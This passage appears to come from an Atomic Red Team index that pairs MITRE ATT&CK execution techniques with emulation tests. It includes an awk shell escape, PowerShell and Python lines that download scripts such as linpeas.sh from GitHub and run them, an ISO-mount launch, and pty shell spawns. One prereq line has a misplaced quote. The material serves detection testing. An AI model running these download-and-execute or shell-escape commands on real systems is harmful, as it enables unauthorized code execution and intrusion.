        In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command.
        Reference - https://gtfobins.github.io/gtfobins/awk/#shell
      supported_platforms:
      - linux
      - macos
      executor:
        command: awk 'BEGIN {system("/bin/sh &")}'
        name: sh
  T1559:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d
      type: attack-pattern
      created: '2020-02-12T14:08:48.689Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1559
        url: https://attack.mitre.org/techniques/T1559
      - source_name: Linux IPC
        url: https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.
        description: N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved
          March 11, 2022.
      - source_name: Fireeye Hunting COM June 2019
        url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
          10, 2019.
      modified: '2022-05-11T14:00:00.188Z'
      name: Inter-Process Communication
      description: "Adversaries may abuse inter-process communication (IPC) mechanisms
        for local code or command execution. IPC is typically used by processes to
        share data, communicate with each other, or synchronize execution. IPC is
        also commonly used to avoid situations such as deadlocks, which occurs when
        processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse
        IPC to execute arbitrary code or commands. IPC mechanisms may differ depending
        on OS, but typically exists in a form accessible through programming languages/libraries
        or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002)
        or [Component Object Model](https://attack.mitre.org/techniques/T1559/001).
        Linux environments support several different IPC mechanisms, two of which
        being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums,
        such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s,
        may also leverage underlying IPC mechanisms. Adversaries may also use [Remote
        Services](https://attack.mitre.org/techniques/T1021) such as [Distributed
        Component Object Model](https://attack.mitre.org/techniques/T1021/003) to
        facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: Monitor for strings in files/commands, loaded DLLs/libraries,
        or spawned processes that are associated with abuse of IPC mechanisms.
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Module: Module Load'
      - 'Process: Process Creation'
      - 'Script: Script Execution'
      - 'Process: Process Access'
      x_mitre_permissions_required:
      - Administrator
      - User
      - SYSTEM
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1559
    atomic_tests:
    - name: Cobalt Strike Artifact Kit pipe
      auto_generated_guid: bd13b9fc-b758-496a-b81a-397462f82c72
      description: |
        Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

        The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Named pipe executors must exist on disk

          '
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
          $zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
          Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"
          --pipe 1

          '
        name: command_prompt
    - name: Cobalt Strike Lateral Movement (psexec_psh) pipe
      auto_generated_guid: 830c8b6c-7a70-4f40-b975-8bbe74558acd
      description: |
        Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

        The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Named pipe executors must exist on disk

          '
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
          $zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
          Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"
          --pipe 2

          '
        name: command_prompt
    - name: Cobalt Strike SSH (postex_ssh) pipe
      auto_generated_guid: d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6
      description: |
        Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

        The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Named pipe executors must exist on disk

          '
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
          $zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
          Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"
          --pipe 3

          '
        name: command_prompt
    - name: Cobalt Strike post-exploitation pipe (4.2 and later)
      auto_generated_guid: 7a48f482-246f-4aeb-9837-21c271ebf244
      description: |
        Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

        The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Named pipe executors must exist on disk

          '
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
          $zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
          Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"
          --pipe 4

          '
        name: command_prompt
    - name: Cobalt Strike post-exploitation pipe (before 4.2)
      auto_generated_guid: 8dbfc15c-527b-4ab0-a272-019f469d367f
      description: |
        Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.

        The named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'Named pipe executors must exist on disk

          '
        prereq_command: 'if ((Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe")
          -and (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_client.exe")
          -and ("Test-Path PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_server.exe"))
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
          $zipUrl  = "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip"
          Invoke-FetchFromZip $zipUrl "*.exe" "PathToAtomicsFolder\..\ExternalPayloads"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\build\namedpipes_executor.exe"
          --pipe 5

          '
        name: command_prompt
  T1204.003:
    technique:
      x_mitre_platforms:
      - IaaS
      - Containers
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Vishwas Manral, McAfee
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec
      type: attack-pattern
      created: '2021-03-30T17:20:05.789Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1204.003
        url: https://attack.mitre.org/techniques/T1204/003
      - source_name: Summit Route Malicious AMIs
        url: https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/
        description: Piper, S.. (2018, September 24). Investigating Malicious AMIs.
          Retrieved March 30, 2021.
      - source_name: Aqua Security Cloud Native Threat Report June 2021
        url: https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation
        description: Team Nautilus. (2021, June). Attacks in the Wild on the Container
          Supply Chain and Infrastructure. Retrieved August 26, 2021.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'User Execution: Malicious Image'
      description: |-
        Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)

        Adversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: Monitor the local image registry to make sure malicious images
        are not added. Track the deployment of new containers, especially from newly
        built images. Monitor the behavior of containers within the environment to
        detect anomalous behavior or malicious activity after users deploy from malicious
        images.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'Command: Command Execution'
      - 'Image: Image Creation'
      - 'Container: Container Start'
      - 'Container: Container Creation'
      - 'Instance: Instance Start'
      - 'Instance: Instance Creation'
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1204.003
    atomic_tests:
    - name: Malicious Execution from Mounted ISO Image
      auto_generated_guid: e9795c8d-42aa-4ed4-ad80-551ed793d006
      description: Adversaries may rely on a user running a malicious image to facilitate
        execution
      supported_platforms:
      - windows
      executor:
        command: |-
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.003/src/qbot-test.iso" -OutFile "$env:TEMP\qbot-test.iso")
          Mount-DiskImage -ImagePath "$env:TEMP\qbot-test.iso"
          $mountedpath = (Get-DiskImage -ImagePath "$env:TEMP\qbot-test.iso" | Get-Volume).DriveLetter
          $finalpath = $mountedpath + ":\"
          cd $finalpath
          .\calc.exe.lnk
        cleanup_command: "start-sleep -s 5\nstop-process -Name \"Calculatorapp\" -Force
          \ndismount-diskimage -ImagePath \"$env:TEMP\\qbot-test.iso\""
        name: powershell
        elevation_required: true
  T1203:
    technique:
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63
      created: '2018-04-18T17:59:24.739Z'
      x_mitre_version: '1.4'
      external_references:
      - source_name: mitre-attack
        external_id: T1203
        url: https://attack.mitre.org/techniques/T1203
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

        Several types exist:

        ### Browser-based Exploitation

        Web browsers are a common target through [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) and [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

        ### Office Applications

        Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](https://attack.mitre.org/techniques/T1566). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

        ### Common Third-party Applications

        Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Exploitation for Client Execution
      x_mitre_detection: Detecting software exploitation may be difficult depending
        on the tools available. Also look for behavior on the endpoint system that
        might indicate successful compromise, such as abnormal behavior of the browser
        or Office processes. This could include suspicious files written to disk,
        evidence of [Process Injection](https://attack.mitre.org/techniques/T1055)
        for attempts to hide execution, evidence of Discovery, or other unusual network
        traffic that may indicate additional tools transferred to the system.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Application Log: Application Log Content'
      x_mitre_system_requirements:
      - Remote exploitation for execution requires a remotely accessible service reachable
        over the network or other vector of access such as spearphishing or drive-by
        compromise.
      x_mitre_remote_support: false
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1059.006:
    technique:
      modified: '2024-01-30T18:35:58.021Z'
      name: 'Command and Scripting Interpreter: Python'
      description: |-
        Adversaries may abuse Python commands and scripts for execution. Python is a very popular scripting/programming language, with capabilities to perform many functions. Python can be executed interactively from the command-line (via the <code>python.exe</code> interpreter) or via scripts (.py) that can be written and distributed to different systems. Python code can also be compiled into binary executables.(Citation: Zscaler APT31 Covid-19 October 2020)

        Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_remote_support: false
      x_mitre_system_requirements:
      - Python is installed.
      type: attack-pattern
      id: attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1
      created: '2020-03-09T14:38:24.334Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1059/006
        external_id: T1059.006
      - source_name: Zscaler APT31 Covid-19 October 2020
        description: Singh, S. and Antil, S. (2020, October 27). APT-31 Leverages
          COVID-19 Vaccine Theme and Abuses Legitimate Online Services. Retrieved
          March 24, 2021.
        url: https://www.zscaler.com/blogs/security-research/apt-31-leverages-covid-19-vaccine-theme-and-abuses-legitimate-online
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1059.006
    atomic_tests:
    - name: Execute shell script via python's command mode arguement
      auto_generated_guid: 3a95cdb2-c6ea-4761-b24e-02b71889b8bb
      description: Download and execute shell script and write to file then execute
        locally using Python -c (command mode)
      supported_platforms:
      - linux
      input_arguments:
        script_url:
          description: Shell script public URL
          type: string
          default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
        payload_file_name:
          description: Name of shell script downloaded from the script_url
          type: string
          default: T1059.006-payload
        executor:
          description: FreeBSD or Linux shell
          type: string
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files.
          type: string
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
      dependency_executor_name: sh
      dependencies:
      - description: Verify if python is in the environment variable path and attempt
          to import requests library.
        prereq_command: |
          which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: 'pip install requests

          '
      executor:
        command: |
          which_python=$(which python || which python3 || which python3.9 || which python2)
          $which_python -c 'import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'
        name: sh
        cleanup_command: "rm #{payload_file_name} \npip-autoremove pypykatz >nul 2>
          nul\n"
    - name: Execute Python via scripts
      auto_generated_guid: 6c4d1dcb-33c7-4c36-a8df-c6cfd0408be8
      description: Create Python file (.py) that downloads and executes shell script
        via executor arguments
      supported_platforms:
      - linux
      input_arguments:
        python_script_name:
          description: Python script name
          type: path
          default: T1059.006.py
        script_url:
          description: Shell script public URL
          type: string
          default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
        payload_file_name:
          description: Shell script file name downloaded from the script_url
          type: string
          default: T1059.006-payload
        executor:
          description: Payload or script interpreter / executor
          type: string
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files
          type: string
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: |
          which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: "pip install requests    \n"
      executor:
        command: |
          which_python=$(which python || which python3 || which python3.9 || which python2)
          echo 'import requests' > #{python_script_name}
          echo 'import os' >> #{python_script_name}
          echo 'url = "#{script_url}"' >> #{python_script_name}
          echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
          echo 'session = requests.session()' >> #{python_script_name}
          echo 'source = session.get(url).content' >> #{python_script_name}
          echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
          echo 'fd.write(source)' >> #{python_script_name}
          echo 'fd.close()' >> #{python_script_name}
          echo 'os.system(malicious_command)' >> #{python_script_name}
          $which_python #{python_script_name}
        name: sh
        cleanup_command: "rm #{python_script_name} #{payload_file_name}  \n"
    - name: Execute Python via Python executables
      auto_generated_guid: 0b44d79b-570a-4b27-a31f-3bf2156e5eaa
      description: 'Create Python file (.py) then compile to binary (.pyc) that downloads
        an external malicious script then executes locally using the supplied executor
        and arguments

        '
      supported_platforms:
      - linux
      input_arguments:
        python_script_name:
          description: Name of Python script name
          type: path
          default: T1059.006.py
        script_url:
          description: URL hosting external malicious payload
          type: string
          default: https://github.com/carlospolop/PEASS-ng/releases/download/20220214/linpeas.sh
        payload_file_name:
          description: Shell script file name downloaded from the script_url
          type: string
          default: T1059.006-payload
        executor:
          description: Payload or script interpreter / executor
          type: string
          default: sh
        script_args:
          description: Arguments to check for system stats, available software, process
            details, environment paths, open sockets, and interesting files
          type: string
          default: "-q -o SysI, Devs, AvaSof, ProCronSrvcsTmrsSocks, Net, UsrI, SofI,
            IntFiles"
        python_binary_name:
          description: Name of Python file to be compiled
          type: path
          default: T1059.006.pyc
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires Python

          '
        prereq_command: |
          which_python=$(which python || which python3 || which python3.9 || which python2); $which_python -V
          $which_python -c 'import requests' 2>/dev/null; echo $?
        get_prereq_command: "pip install requests    \n"
      executor:
        command: |
          which_python=$(which python || which python3 || which python3.9 || which python2)
          echo 'import requests' > #{python_script_name}
          echo 'import os' >> #{python_script_name}
          echo 'url = "#{script_url}"' >> #{python_script_name}
          echo 'malicious_command = "#{executor} #{payload_file_name} #{script_args}"' >> #{python_script_name}
          echo 'session = requests.session()' >> #{python_script_name}
          echo 'source = session.get(url).content' >> #{python_script_name}
          echo 'fd = open("#{payload_file_name}", "wb+")' >> #{python_script_name}
          echo 'fd.write(source)' >> #{python_script_name}
          echo 'fd.close()' >> #{python_script_name}
          echo 'os.system(malicious_command)' >> #{python_script_name}
          $which_python -c 'import py_compile; py_compile.compile("#{python_script_name}", "#{python_binary_name}")'
          $which_python #{python_binary_name}
        name: sh
        cleanup_command: 'rm #{python_binary_name} #{python_script_name} #{payload_file_name}

          '
    - name: Python pty module and spawn function used to spawn sh or bash
      auto_generated_guid: 161d694c-b543-4434-85c3-c3a433e33792
      description: 'Uses the Python spawn function to spawn a sh shell followed by
        a bash shell. Per Volexity, this technique was observed in exploitation of
        Atlassian Confluence [CVE-2022-26134]. Reference: https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence

        '
      supported_platforms:
      - linux
      dependencies:
      - description: 'Verify if python is in the environment variable path and attempt
          to import requests library.

          '
        prereq_command: "which_python=$(which python || which python3 || which python3.9
          || which python2); $which_python -V\n$which_python -c 'import requests'
          2>/dev/null; echo $?          \n"
        get_prereq_command: 'pip install requests

          '
      executor:
        command: |-
          which_python=$(which python || which python3 || which python3.9 || which python2)
          $which_python -c "import pty;pty.spawn('/bin/sh')"
          exit
          $which_python -c "import pty;pty.spawn('/bin/bash')"
          exit
        name: sh
  T1569:
    technique:
      x_mitre_platforms:
      - Windows
      - macOS
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253
      type: attack-pattern
      created: '2020-03-10T18:23:06.482Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1569
        url: https://attack.mitre.org/techniques/T1569
      modified: '2022-05-11T14:00:00.188Z'
      name: System Services
      description: Adversaries may abuse system services or daemons to execute commands
        or programs. Adversaries can execute malicious content by interacting with
        or creating services either locally or remotely. Many services are set to
        run at boot, which can aid in achieving persistence ([Create or Modify System
        Process](https://attack.mitre.org/techniques/T1543)), but adversaries can
        also abuse services for one-time or temporary execution.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_detection: Monitor for command line invocations of tools capable of
        modifying services that doesn’t correspond to normal usage patterns and known
        software, patch cycles, etc. Also monitor for changes to executables and other
        files associated with services. Changes to Windows services may also be reflected
        in the Registry.
      x_mitre_version: '1.2'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Windows Registry: Windows Registry Key Modification'
      - 'Process: Process Creation'
      - 'Service: Service Creation'
      - 'File: File Modification'
      - 'Command: Command Execution'
      x_mitre_permissions_required:
      - User
      - Administrator
      - SYSTEM
      - root
      x_mitre_remote_support: true
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1059.003:
    technique:
      modified: '2024-03-01T17:35:02.889Z'
      name: 'Command and Scripting Interpreter: Windows Command Shell'
      description: |-
        Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows)

        Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

        Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.

        Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
      x_mitre_domains:
      - enterprise-attack
